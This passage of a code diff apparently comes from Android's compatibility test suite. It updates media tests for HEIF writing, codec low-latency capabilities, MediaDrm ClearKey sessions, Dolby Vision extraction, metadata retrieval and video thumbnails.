+ if (outputFd != null) {
+ Os.close(outputFd);
+ }
+ } catch (IOException|ErrnoException e) {}
if (heifWriter != null) {
heifWriter.close();
@@ -608,14 +640,14 @@
}
private void verifyResult(
- String filename, int width, int height, int rotation,
+ FileDescriptor fd, int width, int height, int rotation,
int imageCount, int primary, boolean useGrid, boolean checkColor)
throws Exception {
MediaMetadataRetriever retriever = new MediaMetadataRetriever();
- retriever.setDataSource(filename);
+ retriever.setDataSource(fd);
String hasImage = retriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_HAS_IMAGE);
if (!"yes".equals(hasImage)) {
- throw new Exception("No images found in file " + filename);
+ throw new Exception("No images found in file descriptor");
}
assertEquals("Wrong width", width,
Integer.parseInt(retriever.extractMetadata(
@@ -636,7 +668,7 @@
if (useGrid) {
MediaExtractor extractor = new MediaExtractor();
- extractor.setDataSource(filename);
+ extractor.setDataSource(fd);
MediaFormat format = extractor.getTrackFormat(0);
int tileWidth = format.getInteger(MediaFormat.KEY_TILE_WIDTH);
int tileHeight = format.getInteger(MediaFormat.KEY_TILE_HEIGHT);
@@ -650,7 +682,8 @@
}
if (checkColor) {
- Bitmap bitmap = BitmapFactory.decodeFile(filename);
+ Os.lseek(fd, 0, OsConstants.SEEK_SET);
+ Bitmap bitmap = BitmapFactory.decodeFileDescriptor(fd);
for (int i = 0; i < COLOR_BARS.length; i++) {
Rect r = getColorBarRect(i, width, height);
diff --git a/tests/tests/media/src/android/media/cts/MediaCodecCapabilitiesTest.java b/tests/tests/media/src/android/media/cts/MediaCodecCapabilitiesTest.java
index f0c3d1d..fbc9b7c 100644
--- a/tests/tests/media/src/android/media/cts/MediaCodecCapabilitiesTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaCodecCapabilitiesTest.java
@@ -874,4 +874,19 @@
MediaUtils.skipTest(TAG, "AAC and FLAC encoders not present");
}
}
+
+ public void testLowLatencyFeatureIsSupportedOnly() throws IOException {
+ MediaCodecList list = new MediaCodecList(MediaCodecList.ALL_CODECS);
+ for (MediaCodecInfo info : list.getCodecInfos()) {
+ for (String type : info.getSupportedTypes()) {
+ CodecCapabilities caps = info.getCapabilitiesForType(type);
+ if (caps.isFeatureSupported(CodecCapabilities.FEATURE_LowLatency)) {
+ assertFalse(
+ info.getName() + "(" + type + ") "
+ + " supports low latency, but low latency shall not be required",
+ caps.isFeatureRequired(CodecCapabilities.FEATURE_LowLatency));
+ }
+ }
+ }
+ }
}
diff --git a/tests/tests/media/src/android/media/cts/MediaCodecWrapper.java b/tests/tests/media/src/android/media/cts/MediaCodecWrapper.java
index cb9b25e..d8b15d6 100644
--- a/tests/tests/media/src/android/media/cts/MediaCodecWrapper.java
+++ b/tests/tests/media/src/android/media/cts/MediaCodecWrapper.java
@@ -21,6 +21,7 @@
import android.media.MediaCodec.Callback;
import android.media.MediaFormat;
import android.os.Bundle;
+import android.view.Surface;
import java.nio.ByteBuffer;
/**
@@ -33,6 +34,8 @@
void configure(MediaFormat format, int flags);
+ void configure(MediaFormat format, int flags, Surface surface);
+
void setInputSurface(InputSurfaceInterface inputSurface);
InputSurfaceInterface createInputSurface();
diff --git a/tests/tests/media/src/android/media/cts/MediaControllerTest.java b/tests/tests/media/src/android/media/cts/MediaControllerTest.java
index d6beefe..1dfdda4 100644
--- a/tests/tests/media/src/android/media/cts/MediaControllerTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaControllerTest.java
@@ -19,6 +19,7 @@
import static android.media.session.PlaybackState.STATE_PLAYING;
import android.content.Intent;
+import android.media.AudioAttributes;
import android.media.AudioManager;
import android.media.Rating;
import android.media.VolumeProvider;
@@ -128,6 +129,15 @@
assertEquals(EXTRAS_VALUE, sessionInfo.getString(EXTRAS_KEY));
}
+ public void testGetTag() {
+ try {
+ String tag = mController.getTag();
+ fail();
+ } catch (SecurityException e) {
+ // expected
+ }
+ }
+
public void testSendCommand() throws Exception {
synchronized (mWaitLock) {
mCallback.reset();
@@ -401,25 +411,6 @@
}
}
- /*
- public void testPlaybackInfo() {
- final int playbackType = MediaController.PlaybackInfo.PLAYBACK_TYPE_LOCAL;
- final int volumeControl = VolumeProvider.VOLUME_CONTROL_ABSOLUTE;
- final int maxVolume = 10;
- final int currentVolume = 3;
-
- AudioAttributes audioAttributes = new AudioAttributes.Builder().build();
- MediaController.PlaybackInfo info = new MediaController.PlaybackInfo(
- playbackType, audioAttributes, volumeControl, maxVolume, currentVolume);
-
- assertEquals(playbackType, info.getPlaybackType());
- assertEquals(audioAttributes, info.getAudioAttributes());
- assertEquals(volumeControl, info.getVolumeControl());
- assertEquals(maxVolume, info.getMaxVolume());
- assertEquals(currentVolume, info.getCurrentVolume());
- }
- */
-
private class MediaSessionCallback extends MediaSession.Callback {
private long mSeekPosition;
private long mQueueItemId;
diff --git a/tests/tests/media/src/android/media/cts/MediaDrmClearkeyTest.java b/tests/tests/media/src/android/media/cts/MediaDrmClearkeyTest.java
index d76b3b8..5f9b499 100644
--- a/tests/tests/media/src/android/media/cts/MediaDrmClearkeyTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaDrmClearkeyTest.java
@@ -24,9 +24,11 @@
import android.media.cts.TestUtils.Monitor;
import android.net.Uri;
import android.os.Looper;
+import android.platform.test.annotations.Presubmit;
import android.util.Base64;
import android.util.Log;
import android.view.Surface;
+
import com.android.compatibility.common.util.ApiLevelUtil;
import org.json.JSONArray;
@@ -415,6 +417,7 @@
/**
* Tests KEY_TYPE_RELEASE for offline license.
*/
+ @Presubmit
public void testReleaseOfflineLicense() throws Exception {
if (isWatchDevice()) {
return;
@@ -499,6 +502,7 @@
return true;
}
+ @Presubmit
public void testQueryKeyStatus() throws Exception {
if (isWatchDevice()) {
// skip this test on watch because it calls
@@ -547,6 +551,7 @@
}
}
+ @Presubmit
public void testOfflineKeyManagement() throws Exception {
if (isWatchDevice()) {
// skip this test on watch because it calls
@@ -634,6 +639,7 @@
}
}
+ @Presubmit
public void testClearKeyPlaybackCenc() throws Exception {
testClearKeyPlayback(
COMMON_PSSH_SCHEME_UUID,
@@ -646,6 +652,7 @@
MediaDrm.KEY_TYPE_STREAMING);
}
+ @Presubmit
public void testClearKeyPlaybackCenc2() throws Exception {
testClearKeyPlayback(
CLEARKEY_SCHEME_UUID,
@@ -658,6 +665,7 @@
MediaDrm.KEY_TYPE_STREAMING);
}
+ @Presubmit
public void testClearKeyPlaybackOfflineCenc() throws Exception {
testClearKeyPlayback(
CLEARKEY_SCHEME_UUID,
@@ -751,6 +759,7 @@
}
}
+ @Presubmit
public void testGetProperties() throws Exception {
if (watchHasNoClearkeySupport()) {
return;
@@ -796,6 +805,7 @@
}
}
+ @Presubmit
public void testSetProperties() throws Exception {
if (watchHasNoClearkeySupport()) {
return;
@@ -876,6 +886,7 @@
private final static int CLEARKEY_MAX_SESSIONS = 10;
+ @Presubmit
public void testGetNumberOfSessions() {
if (watchHasNoClearkeySupport()) {
return;
@@ -912,6 +923,7 @@
}
}
+ @Presubmit
public void testHdcpLevels() {
if (watchHasNoClearkeySupport()) {
return;
@@ -942,6 +954,7 @@
}
}
+ @Presubmit
public void testSecurityLevels() {
if (watchHasNoClearkeySupport()) {
return;
@@ -996,6 +1009,7 @@
}
}
+ @Presubmit
public void testSecureStop() {
if (watchHasNoClearkeySupport()) {
return;
@@ -1120,6 +1134,7 @@
* Expected behavior: throws MediaDrm.SessionException with
* errorCode ERROR_RESOURCE_CONTENTION
*/
+ @Presubmit
public void testResourceContentionError() {
if (watchHasNoClearkeySupport()) {
@@ -1161,6 +1176,7 @@
* Expected behavior: OnSessionLostState is called with
* the sessionId
*/
+ @Presubmit
public void testSessionLostStateError() {
if (watchHasNoClearkeySupport()) {
@@ -1204,6 +1220,7 @@
}
}
+ @Presubmit
public void testIsCryptoSchemeSupportedWithSecurityLevel() {
if (watchHasNoClearkeySupport()) {
return;
diff --git a/tests/tests/media/src/android/media/cts/MediaDrmMetricsTest.java b/tests/tests/media/src/android/media/cts/MediaDrmMetricsTest.java
index 2ac83cf..ae0bae5 100644
--- a/tests/tests/media/src/android/media/cts/MediaDrmMetricsTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaDrmMetricsTest.java
@@ -21,6 +21,7 @@
import android.media.MediaDrm;
import android.os.PersistableBundle;
+import android.platform.test.annotations.Presubmit;
import android.test.AndroidTestCase;
import android.util.Log;
import com.google.common.io.BaseEncoding;
@@ -57,6 +58,7 @@
}
}
+ @Presubmit
public void testGetMetricsEmpty() throws Exception {
MediaDrm drm = new MediaDrm(CLEARKEY_SCHEME_UUID);
assertNotNull(drm);
@@ -76,6 +78,7 @@
drm.close();
}
+ @Presubmit
public void testGetMetricsSession() throws Exception {
MediaDrm drm = new MediaDrm(CLEARKEY_SCHEME_UUID);
assertNotNull(drm);
@@ -129,6 +132,7 @@
drm.close();
}
+ @Presubmit
public void testGetMetricsGetKeyRequest() throws Exception {
MediaDrm drm = new MediaDrm(CLEARKEY_SCHEME_UUID);
assertNotNull(drm);
diff --git a/tests/tests/media/src/android/media/cts/MediaDrmTest.java b/tests/tests/media/src/android/media/cts/MediaDrmTest.java
new file mode 100644
index 0000000..adc927e
--- /dev/null
+++ b/tests/tests/media/src/android/media/cts/MediaDrmTest.java
@@ -0,0 +1,58 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.cts;
+
+import android.media.MediaDrm;
+import android.util.Log;
+import androidx.test.runner.AndroidJUnit4;
+import java.util.List;
+import java.util.UUID;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import static junit.framework.Assert.assertTrue;
+import static org.testng.Assert.assertThrows;
+
+@NonMediaMainlineTest
+@RunWith(AndroidJUnit4.class)
+public class MediaDrmTest {
+
+ private final String TAG = this.getClass().getName();
+
+ private void testSingleScheme(UUID scheme) throws Exception {
+ MediaDrm md = new MediaDrm(scheme);
+ assertTrue(md.getOpenSessionCount() <= md.getMaxSessionCount());
+ assertThrows(() -> {
+ md.closeSession(null);
+ });
+ md.close();
+ }
+
+ @Test
+ public void testSupportedCryptoSchemes() throws Exception {
+ List<UUID> supportedCryptoSchemes = MediaDrm.getSupportedCryptoSchemes();
+ if (supportedCryptoSchemes.isEmpty()) {
+ Log.w(TAG, "No supported crypto schemes reported");
+ }
+ for (UUID scheme : supportedCryptoSchemes) {
+ Log.d(TAG, "supported scheme: " + scheme.toString());
+ assertTrue(MediaDrm.isCryptoSchemeSupported(scheme));
+ testSingleScheme(scheme);
+ }
+ }
+
+}
diff --git a/tests/tests/media/src/android/media/cts/MediaExtractorTest.java b/tests/tests/media/src/android/media/cts/MediaExtractorTest.java
index 78e22d5..21149c6 100644
--- a/tests/tests/media/src/android/media/cts/MediaExtractorTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaExtractorTest.java
@@ -53,6 +53,7 @@
import java.util.SortedMap;
import java.util.TreeMap;
+
public class MediaExtractorTest extends AndroidTestCase {
private static final String TAG = "MediaExtractorTest";
@@ -297,6 +298,78 @@
assertEquals("video/avc", mimeType);
}
+ // DolbyVisionMediaExtractor for profile-level (Dvav1 10.0/Uhd30)
+ @SmallTest
+ public void testDolbyVisionMediaExtractorProfileDvav1() throws Exception {
+ TestMediaDataSource dataSource = setDataSource(R.raw.video_dovi_3840x2160_30fps_dav1_10);
+
+ if (MediaUtils.hasDecoder(MIMETYPE_VIDEO_DOLBY_VISION)) {
+ assertEquals(1, mExtractor.getTrackCount());
+
+ // Dvav1 10 exposes a single backward compatible track.
+ final MediaFormat trackFormat = mExtractor.getTrackFormat(0);
+ final String mimeType = trackFormat.getString(MediaFormat.KEY_MIME);
+
+ assertEquals("video/dolby-vision", mimeType);
+
+ final int profile = trackFormat.getInteger(MediaFormat.KEY_PROFILE);
+ final int level = trackFormat.getInteger(MediaFormat.KEY_LEVEL);
+
+ assertEquals(MediaCodecInfo.CodecProfileLevel.DolbyVisionProfileDvav110, profile);
+ assertEquals(MediaCodecInfo.CodecProfileLevel.DolbyVisionLevelUhd30, level);
+ } else {
+ MediaUtils.skipTest("Device does not provide a Dolby Vision decoder");
+ }
+ }
+
+ // DolbyVisionMediaExtractor for profile-level (Dvav1 10.1/Uhd30)
+ @SmallTest
+ public void testDolbyVisionMediaExtractorProfileDvav1_2() throws Exception {
+ TestMediaDataSource dataSource = setDataSource(R.raw.video_dovi_3840x2160_30fps_dav1_10_2);
+
+ assertTrue("There should be either 1 or 2 tracks",
+ 0 < mExtractor.getTrackCount() && 3 > mExtractor.getTrackCount());
+
+ MediaFormat trackFormat = mExtractor.getTrackFormat(0);
+ int trackCountForDolbyVision = 1;
+
+ // Handle the case where there is a Dolby Vision extractor
+ // Note that it may or may not have a Dolby Vision Decoder
+ if (mExtractor.getTrackCount() == 2) {
+ if (trackFormat.getString(MediaFormat.KEY_MIME)
+ .equalsIgnoreCase(MIMETYPE_VIDEO_DOLBY_VISION)) {
+ trackFormat = mExtractor.getTrackFormat(1);
+ trackCountForDolbyVision = 0;
+ }
+ }
+
+ if (MediaUtils.hasDecoder(MIMETYPE_VIDEO_DOLBY_VISION)) {
+ assertEquals("There must be 2 tracks", 2, mExtractor.getTrackCount());
+
+ MediaFormat trackFormatForDolbyVision =
+ mExtractor.getTrackFormat(trackCountForDolbyVision);
+
+ final String mimeType = trackFormatForDolbyVision.getString(MediaFormat.KEY_MIME);
+ assertEquals("video/dolby-vision", mimeType);
+
+ int profile = trackFormatForDolbyVision.getInteger(MediaFormat.KEY_PROFILE);
+ assertEquals(MediaCodecInfo.CodecProfileLevel.DolbyVisionProfileDvav110, profile);
+
+ int level = trackFormatForDolbyVision.getInteger(MediaFormat.KEY_LEVEL);
+ assertEquals(MediaCodecInfo.CodecProfileLevel.DolbyVisionLevelUhd30, level);
+
+ final int trackIdForDolbyVision =
+ trackFormatForDolbyVision.getInteger(MediaFormat.KEY_TRACK_ID);
+
+ final int trackIdForBackwardCompat = trackFormat.getInteger(MediaFormat.KEY_TRACK_ID);
+ assertEquals(trackIdForDolbyVision, trackIdForBackwardCompat);
+ }
+
+ // The backward-compatible track should have mime video/av01
+ final String mimeType = trackFormat.getString(MediaFormat.KEY_MIME);
+ assertEquals("video/av01", mimeType);
+ }
+
private void checkExtractorSamplesAndMetrics() {
// 1MB is enough for any sample.
final ByteBuffer buf = ByteBuffer.allocate(1024*1024);
@@ -349,7 +422,7 @@
}
public void testGetAudioPresentations() throws Exception {
- final int resid = R.raw.MultiLangPerso_1PID_PC0_Select_AC4_H265_DVB_50fps;
+ final int resid = R.raw.MultiLangPerso_1PID_PC0_Select_AC4_H265_DVB_50fps_Audio_Only;
TestMediaDataSource dataSource = setDataSource(resid);
int ac4TrackIndex = -1;
for (int i = 0; i < mExtractor.getTrackCount(); i++) {
@@ -361,7 +434,7 @@
}
}
assertNotEquals(
- "AC4 track was not found in MultiLangPerso_1PID_PC0_Select_AC4_H265_DVB_50fps",
+ "AC4 track was not found in MultiLangPerso_1PID_PC0_Select_AC4_H265_DVB_50fps_Audio_Only",
-1, ac4TrackIndex);
// The test file has two sets of audio presentations. The presentation set
diff --git a/tests/tests/media/src/android/media/cts/MediaMetadataRetrieverTest.java b/tests/tests/media/src/android/media/cts/MediaMetadataRetrieverTest.java
index 94f334c..9066c1b 100644
--- a/tests/tests/media/src/android/media/cts/MediaMetadataRetrieverTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaMetadataRetrieverTest.java
@@ -32,18 +32,25 @@
import android.media.MediaExtractor;
import android.media.MediaFormat;
import android.media.MediaMetadataRetriever;
+import android.media.MediaRecorder;
import android.media.cts.R;
+import android.net.Uri;
+import android.os.Environment;
import android.platform.test.annotations.AppModeFull;
import android.platform.test.annotations.RequiresDevice;
import android.test.AndroidTestCase;
+import android.util.Log;
import androidx.test.filters.SmallTest;
import com.android.compatibility.common.util.MediaUtils;
-
+import java.io.File;
+import java.io.FileOutputStream;
+import java.io.FileNotFoundException;
import java.io.IOException;
import java.io.InputStream;
import java.util.ArrayList;
+import java.util.HashMap;
import java.util.List;
import java.util.function.Function;
@@ -58,6 +65,7 @@
protected MediaMetadataRetriever mRetriever;
private PackageManager mPackageManager;
+ protected static final int SLEEP_TIME = 1000;
private static int BORDER_WIDTH = 16;
private static Color COLOR_BLOCK =
Color.valueOf(1.0f, 1.0f, 1.0f);
@@ -137,10 +145,25 @@
"Test album",
mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_ALBUM));
+ assertNull("Album artist was unexpectedly present",
+ mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_ALBUMARTIST));
+
+ assertNull("Author was unexpectedly present",
+ mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_AUTHOR));
+
+ assertNull("Composer was unexpectedly present",
+ mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_COMPOSER));
+
assertEquals("Track number was other than expected",
"10",
mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_CD_TRACK_NUMBER));
+ assertNull("Disc number was unexpectedly present",
+ mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_DISC_NUMBER));
+
+ assertNull("Compilation was unexpectedly present",
+ mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_COMPILATION));
+
assertEquals("Year was other than expected",
"2013", mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_YEAR));
@@ -148,7 +171,59 @@
"19040101T000000.000Z",
mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_DATE));
- assertNull("Writer was unexpected present",
+ assertEquals("Bitrate was other than expected",
+ "365018", // = 504045 (file size in byte) * 8e6 / 11047000 (duration in us)
+ mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_BITRATE));
+
+ assertNull("Capture frame rate was unexpectedly present",
+ mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_CAPTURE_FRAMERATE));
+
+ assertEquals("Duration was other than expected",
+ "11047",
+ mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_DURATION));
+
+ assertEquals("Number of tracks was other than expected",
+ "4",
+ mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_NUM_TRACKS));
+
+ assertEquals("Has audio was other than expected",
+ "yes",
+ mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_HAS_AUDIO));
+
+ assertEquals("Has video was other than expected",
+ "yes",
+ mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_HAS_VIDEO));
+
+ assertEquals("Video frame count was other than expected",
+ "172",
+ mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_VIDEO_FRAME_COUNT));
+
+ assertEquals("Video height was other than expected",
+ "288",
+ mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_VIDEO_HEIGHT));
+
+ assertEquals("Video width was other than expected",
+ "352",
+ mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_VIDEO_WIDTH));
+
+ assertEquals("Video rotation was other than expected",
+ "0",
+ mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_VIDEO_ROTATION));
+
+ assertEquals("Mime type was other than expected",
+ "video/mp4",
+ mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_MIMETYPE));
+
+ assertNull("Location was unexpectedly present",
+ mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_LOCATION));
+
+ assertNull("EXIF length was unexpectedly present",
+ mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_EXIF_LENGTH));
+
+ assertNull("EXIF offset was unexpectedly present",
+ mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_EXIF_OFFSET));
+
+ assertNull("Writer was unexpectedly present",
mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_WRITER));
}
@@ -166,10 +241,25 @@
"Test album",
mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_ALBUM));
+ assertNull("Album artist was unexpectedly present",
+ mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_ALBUMARTIST));
+
+ assertNull("Author was unexpectedly present",
+ mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_AUTHOR));
+
+ assertNull("Composer was unexpectedly present",
+ mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_COMPOSER));
+
assertEquals("Track number was other than expected",
"10",
mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_CD_TRACK_NUMBER));
+ assertNull("Disc number was unexpectedly present",
+ mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_DISC_NUMBER));
+
+ assertNull("Compilation was unexpectedly present",
+ mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_COMPILATION));
+
assertEquals("Year was other than expected",
"2013", mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_YEAR));
@@ -177,6 +267,58 @@
"19700101T000000.000Z",
mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_DATE));
+ assertEquals("Bitrate was other than expected",
+ "499895", // = 624869 (file size in byte) * 8e6 / 10000000 (duration in us)
+ mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_BITRATE));
+
+ assertNull("Capture frame rate was unexpectedly present",
+ mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_CAPTURE_FRAMERATE));
+
+ assertEquals("Duration was other than expected",
+ "10000",
+ mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_DURATION));
+
+ assertEquals("Number of tracks was other than expected",
+ "2",
+ mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_NUM_TRACKS));
+
+ assertEquals("Has audio was other than expected",
+ "yes",
+ mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_HAS_AUDIO));
+
+ assertEquals("Has video was other than expected",
+ "yes",
+ mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_HAS_VIDEO));
+
+ assertEquals("Video frame count was other than expected",
+ "240",
+ mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_VIDEO_FRAME_COUNT));
+
+ assertEquals("Video height was other than expected",
+ "360",
+ mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_VIDEO_HEIGHT));
+
+ assertEquals("Video width was other than expected",
+ "480",
+ mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_VIDEO_WIDTH));
+
+ assertEquals("Video rotation was other than expected",
+ "0",
+ mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_VIDEO_ROTATION));
+
+ assertEquals("Mime type was other than expected",
+ "video/mp4",
+ mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_MIMETYPE));
+
+ assertNull("Location was unexpectedly present",
+ mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_LOCATION));
+
+ assertNull("EXIF length was unexpectedly present",
+ mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_EXIF_LENGTH));
+
+ assertNull("EXIF offset was unexpectedly present",
+ mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_EXIF_OFFSET));
+
assertNull("Writer was unexpectedly present",
mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_WRITER));
}
@@ -194,12 +336,37 @@
}
- public void testLargeAlbumArt() {
+ public void testGetEmbeddedPicture() {
setDataSourceFd(R.raw.largealbumart);
assertNotNull("couldn't retrieve album art", mRetriever.getEmbeddedPicture());
}
+ public void testSetDataSourcePath() {
+ File outputFile = new File(Environment.getExternalStorageDirectory(), "retriever_test.3gp");
+ try {
+ recordMedia(outputFile);
+ mRetriever.setDataSource(outputFile.getAbsolutePath());
+ } catch (Exception ex) {
+ fail("Failed setting data source with path, caught exception:" + ex);
+ } finally {
+ outputFile.delete();
+ }
+ }
+
+ public void testSetDataSourceUri() {
+ File outputFile = new File(Environment.getExternalStorageDirectory(), "retriever_test.3gp");
+ try {
+ recordMedia(outputFile);
+ Uri uri = Uri.parse(outputFile.getAbsolutePath());
+ mRetriever.setDataSource(getContext(), uri);
+ } catch (Exception ex) {
+ fail("Failed setting data source with Uri, caught exception:" + ex);
+ } finally {
+ outputFile.delete();
+ }
+ }
+
public void testSetDataSourceNullPath() {
try {
mRetriever.setDataSource((String)null);
@@ -209,6 +376,15 @@
}
}
+ public void testSetDataSourceNullUri() {
+ try {
+ mRetriever.setDataSource(getContext(), (Uri)null);
+ fail("Expected IllegalArgumentException.");
+ } catch (IllegalArgumentException ex) {
+ // Expected, test passed.
+ }
+ }
+
public void testNullMediaDataSourceIsRejected() {
try {
mRetriever.setDataSource((MediaDataSource)null);
@@ -245,51 +421,133 @@
}
}
- private void testThumbnail(int resId) {
+ private void testThumbnail(int resId, int targetWdith, int targetHeight) {
+ testThumbnail(resId, null /*outPath*/, targetWdith, targetHeight);
+ }
+
+ private void testThumbnail(int resId, String outPath, int targetWidth, int targetHeight) {
+ Stopwatch timer = new Stopwatch();
+
if (!MediaUtils.hasCodecForResourceAndDomain(getContext(), resId, "video/")) {
MediaUtils.skipTest("no video codecs for resource");
return;
}
- MediaMetadataRetriever retriever = new MediaMetadataRetriever();
- Resources resources = getContext().getResources();
- AssetFileDescriptor afd = resources.openRawResourceFd(resId);
+ setDataSourceFd(resId);
- retriever.setDataSource(afd.getFileDescriptor(), afd.getStartOffset(), afd.getLength());
+ timer.start();
+ Bitmap thumbnail = mRetriever.getFrameAtTime(-1 /* timeUs (any) */);
+ timer.end();
+ timer.printDuration("getFrameAtTime");
- try {
- afd.close();
- } catch (IOException e) {
- fail("Unable to open file");
+ assertNotNull(thumbnail);
+
+ // Verifies bitmap width and height.
+ assertEquals("Video width was other than expected", Integer.toString(targetWidth),
+ mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_VIDEO_WIDTH));
+ assertEquals("Video height was other than expected", Integer.toString(targetHeight),
+ mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_VIDEO_HEIGHT));
+
+ // save output file if needed
+ if (outPath != null) {
+ FileOutputStream out = null;
+ try {
+ out = new FileOutputStream(outPath);
+ } catch (FileNotFoundException e) {
+ fail("Can't open output file");
+ }
+
+ thumbnail.compress(Bitmap.CompressFormat.PNG, 100, out);
+
+ try {
+ out.flush();
+ out.close();
+ } catch (IOException e) {
+ fail("Can't close file");
+ }
}
-
- assertNotNull(retriever.getFrameAtTime(-1 /* timeUs (any) */));
}
public void testThumbnailH264() {
- testThumbnail(R.raw.bbb_s4_1280x720_mp4_h264_mp31_8mbps_30fps_aac_he_mono_40kbps_44100hz);
+ testThumbnail(
+ R.raw.bbb_s4_1280x720_mp4_h264_mp31_8mbps_30fps_aac_he_mono_40kbps_44100hz,
+ 1280,
+ 720);
}
public void testThumbnailH263() {
- testThumbnail(R.raw.video_176x144_3gp_h263_56kbps_12fps_aac_mono_24kbps_11025hz);
+ testThumbnail(R.raw.video_176x144_3gp_h263_56kbps_12fps_aac_mono_24kbps_11025hz, 176, 144);
}
public void testThumbnailMPEG4() {
- testThumbnail(R.raw.video_1280x720_mp4_mpeg4_1000kbps_25fps_aac_stereo_128kbps_44100hz);
+ testThumbnail(
+ R.raw.video_1280x720_mp4_mpeg4_1000kbps_25fps_aac_stereo_128kbps_44100hz,
+ 1280,
+ 720);
}
public void testThumbnailVP8() {
- testThumbnail(R.raw.bbb_s1_640x360_webm_vp8_2mbps_30fps_vorbis_5ch_320kbps_48000hz);
+ testThumbnail(
+ R.raw.bbb_s1_640x360_webm_vp8_2mbps_30fps_vorbis_5ch_320kbps_48000hz,
+ 640,
+ 360);
}
public void testThumbnailVP9() {
- testThumbnail(R.raw.bbb_s1_640x360_webm_vp9_0p21_1600kbps_30fps_vorbis_stereo_128kbps_48000hz);
+ testThumbnail(
+ R.raw.bbb_s1_640x360_webm_vp9_0p21_1600kbps_30fps_vorbis_stereo_128kbps_48000hz,
+ 640,
+ 360);
}
public void testThumbnailHEVC() {
- testThumbnail(R.raw.bbb_s1_720x480_mp4_hevc_mp3_1600kbps_30fps_aac_he_6ch_240kbps_48000hz);
+ testThumbnail(
+ R.raw.bbb_s1_720x480_mp4_hevc_mp3_1600kbps_30fps_aac_he_6ch_240kbps_48000hz,
+ 720,
+ 480);
}
+ public void testThumbnailVP9Hdr() {
+ testThumbnail(R.raw.video_1280x720_vp9_hdr_static_3mbps, 1280, 720);
+ }
+
+ public void testThumbnailAV1Hdr() {
+ testThumbnail(R.raw.video_1280x720_av1_hdr_static_3mbps, 1280, 720);
+ }
+
+ public void testThumbnailHDR10() {
+ testThumbnail(R.raw.video_1280x720_hevc_hdr10_static_3mbps, 1280, 720);
+ }
+
+ private void testThumbnailWithRotation(int resId, int targetRotation) {
+ Stopwatch timer = new Stopwatch();
+
+ if (!MediaUtils.hasCodecForResourceAndDomain(getContext(), resId, "video/")) {
+ MediaUtils.skipTest("no video codecs for resource");
+ return;
+ }
+
+ setDataSourceFd(resId);
+
+ assertEquals("Video rotation was other than expected", Integer.toString(targetRotation),
+ mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_VIDEO_ROTATION));
+
+ timer.start();
+ Bitmap thumbnail = mRetriever.getFrameAtTime(-1 /* timeUs (any) */);
+ timer.end();
+ timer.printDuration("getFrameAtTime");
+
+ verifyVideoFrameRotation(thumbnail, targetRotation);
+ }
+
+ public void testThumbnailWithRotation() {
